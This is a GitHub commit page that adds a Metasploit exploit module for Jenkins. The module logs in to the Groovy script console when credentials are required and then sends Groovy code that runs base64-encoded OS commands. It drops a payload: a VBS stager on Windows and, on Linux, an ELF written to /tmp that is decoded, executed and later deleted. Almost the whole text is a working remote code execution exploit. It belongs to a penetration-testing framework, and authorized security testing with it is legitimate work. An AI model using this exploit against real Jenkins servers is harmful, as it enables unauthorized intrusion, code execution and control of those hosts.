Skip to content

Commit 76edbb9

Browse files
author
jvazquez-r7
committed
Merge branch 'module-jenkins-script-console' of https://github.com/zeroSteiner/metasploit-framework into zeroSteiner-module-jenkins-script-console
2 parents 9769efb + ae247c1 commit 76edbb9

File tree

1 file changed

+186
-0
lines changed

1 file changed

+186
-0
lines changed
Lines changed: 186 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,186 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = ExcellentRanking
12+
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::CmdStagerVBS
15+
include Msf::Exploit::FileDropper
16+
17+
def initialize(info = {})
18+
super(update_info(info,
19+
'Name' => 'Jenkins Script-Console Java Execution',
20+
'Description' => %q{
21+
This module uses the Jenkins Groovy script console to execute
22+
OS commands using Java.
23+
},
24+
'Author' =>
25+
[
26+
'Spencer McIntyre',
27+
'jamcut'
28+
],
29+
'License' => MSF_LICENSE,
30+
'DefaultOptions' =>
31+
{
32+
'WfsDelay' => '10',
33+
},
34+
'References' =>
35+
[
36+
['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console']
37+
],
38+
'Targets' =>
39+
[
40+
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win'}],
41+
['Linux', { 'Arch' => ARCH_X86, 'Platform' => 'linux' }],
42+
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}]
43+
],
44+
'DisclosureDate' => 'Jan 18 2013',
45+
'DefaultTarget' => 0))
46+
47+
register_options(
48+
[
49+
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
50+
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
51+
OptString.new('TARGETURI', [ true, 'The path to jenkins', '/jenkins/' ]),
52+
], self.class)
53+
end
54+
55+
def check
56+
uri = target_uri
57+
uri.path = normalize_uri(uri.path)
58+
uri.path << "/" if uri.path[-1, 1] != "/"
59+
res = send_request_cgi({'uri' => "#{uri.path}login"})
60+
if res and res.headers.include?('X-Jenkins')
61+
return Exploit::CheckCode::Detected
62+
else
63+
return Exploit::CheckCode::Safe
64+
end
65+
end
66+
67+
def on_new_session(client)
68+
if not @to_delete.nil?
69+
print_warning("Deleting #{@to_delete} payload file")
70+
execute_command("rm #{@to_delete}")
71+
end
72+
end
73+
74+
def http_send_command(cmd, opts = {})
75+
request_parameters = {
76+
'method' => 'POST',
77+
'uri' => "#{@uri.path}script",
78+
'vars_post' =>
79+
{
80+
'script' => java_craft_runtime_exec(cmd),
81+
'Submit' => 'Run'
82+
}
83+
}
84+
request_parameters['cookie'] = @cookie if @cookie != nil
85+
res = send_request_cgi(request_parameters)
86+
if not (res and res.code == 200)
87+
fail_with(Exploit::Failure::Unknown, 'Failed to execute the command.')
88+
end
89+
end
90+
91+
def java_craft_runtime_exec(cmd)
92+
decoder = Rex::Text.rand_text_alpha(5, 8)
93+
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
94+
cmd_array = Rex::Text.rand_text_alpha(5, 8)
95+
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
96+
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
97+
98+
jcode << "String [] #{cmd_array} = new String[3];\n"
99+
if target['Platform'] == 'win'
100+
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
101+
jcode << "#{cmd_array}[1] = \"/c\";\n"
102+
else
103+
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
104+
jcode << "#{cmd_array}[1] = \"-c\";\n"
105+
end
106+
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
107+
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
108+
jcode
109+
end
110+
111+
def execute_command(cmd, opts = {})
112+
vprint_status("Attempting to execute: #{cmd}")
113+
http_send_command("#{cmd}")
114+
end
115+
116+
def linux_stager
117+
cmds = "echo LINE | tee FILE"
118+
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
119+
base64 = Rex::Text.encode_base64(exe)
120+
base64.gsub!(/\=/, "\\u003d")
121+
file = rand_text_alphanumeric(4+rand(4))
122+
123+
execute_command("touch /tmp/#{file}.b64")
124+
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
125+
base64.each_line do |line|
126+
line.chomp!
127+
cmd = cmds
128+
cmd.gsub!(/LINE/, line)
129+
execute_command(cmds)
130+
end
131+
132+
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
133+
execute_command("chmod +x /tmp/#{file}")
134+
execute_command("rm /tmp/#{file}.b64")
135+
136+
execute_command("/tmp/#{file}")
137+
@to_delete = "/tmp/#{file}"
138+
end
139+
140+
141+
def exploit
142+
@uri = target_uri
143+
@uri.path = normalize_uri(@uri.path)
144+
@uri.path << "/" if @uri.path[-1, 1] != "/"
145+
print_status('Checking access to the script console')
146+
res = send_request_cgi({'uri' => "#{@uri.path}script"})
147+
fail_with(Exploit::Failure::Unknown) if not res
148+
149+
@cookie = nil
150+
if res.code != 200
151+
print_status('Logging in...')
152+
res = send_request_cgi({
153+
'method' => 'POST',
154+
'uri' => "#{@uri.path}j_acegi_security_check",
155+
'vars_post' =>
156+
{
157+
'j_username' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
158+
'j_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal'),
159+
'Submit' => 'log in'
160+
}
161+
})
162+
163+
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
164+
fail_with(Exploit::Failure::NoAccess, 'login failed')
165+
end
166+
sessionid = 'JSESSIONID' << res.headers['set-cookie'].split('JSESSIONID')[1].split('; ')[0]
167+
@cookie = "#{sessionid}"
168+
else
169+
print_status('No authentication required, skipping login...')
170+
end
171+
172+
case target['Platform']
173+
when 'win'
174+
print_status("#{rhost}:#{rport} - Sending VBS stager...")
175+
execute_cmdstager({:linemax => 2049})
176+
when 'unix'
177+
print_status("#{rhost}:#{rport} - Sending payload...")
178+
http_send_command("#{payload.encoded}")
179+
when 'linux'
180+
print_status("#{rhost}:#{rport} - Sending Linux stager...")
181+
linux_stager
182+
end
183+
184+
handler
185+
end
186+
end

0 commit comments

Comments
 (0)